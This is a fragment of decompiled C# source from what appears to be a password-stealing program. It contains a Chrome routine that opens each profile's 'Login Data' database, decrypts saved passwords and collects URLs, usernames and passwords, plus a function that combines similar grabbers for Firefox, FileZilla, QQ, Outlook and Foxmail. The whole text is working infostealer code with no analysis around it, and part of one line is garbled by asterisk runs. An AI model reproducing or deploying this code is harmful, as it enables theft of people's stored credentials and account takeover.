// Token: 0x060000B8 RID: 184 RVA: 0x0000E30C File Offset: 0x0000C50C public static string ChromePass() { try { StringBuilder stringBuilder = new StringBuilder(); foreach (string path in Directory.GetDirectories(Interaction.Environ("localappdata") + "\\Google\\Chrome\\")) { foreach (string str in Directory.GetDirectories(path)) { if (File.Exists(str + "\\Login Data")) { try { string baseName = str + "\\Login Data"; SqLiteHandler sqLiteHandler = new SqLiteHandler(baseName); sqLiteHandler.ReadTable("logins"); int rowCount = sqLiteHandler.GetRowCount(); int num = 0; int num2 = rowCount - 1; for (int k = num; k <= num2; k++) { string value = sqLiteHandler.GetValue(k, "origin_url"); string value2 = sqLiteHandler.GetValue(k, "username_value"); string str2 = ChromeRecover.DecodeChrome(sqLiteHandler.GetValue(k, "password_value")); if (stringBuilder.Length == 0) { stringBuilder.AppendLine("Chrome:"); } stringBuilder.AppendLine("URL:" + value); stringBuilder.AppendLine("User:"******"Pass:"******"\r\n"); } } catch (Exception ex) { } } } } return(stringBuilder.ToString()); } catch (Exception ex2) { } return(string.Empty); }
// Token: 0x060000B0 RID: 176 RVA: 0x0000C440 File Offset: 0x0000A640 public static string GrabAllPasswords() { return(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(ChromeRecover.ChromePass(), FFRecover.GetFFTBPass()), FileZillaRecover.Grab()), QQRecover.RecoverQQ()), OutlookRecover.GetOutlookPasswords()), FoxRecover.GetFoxmail()))); }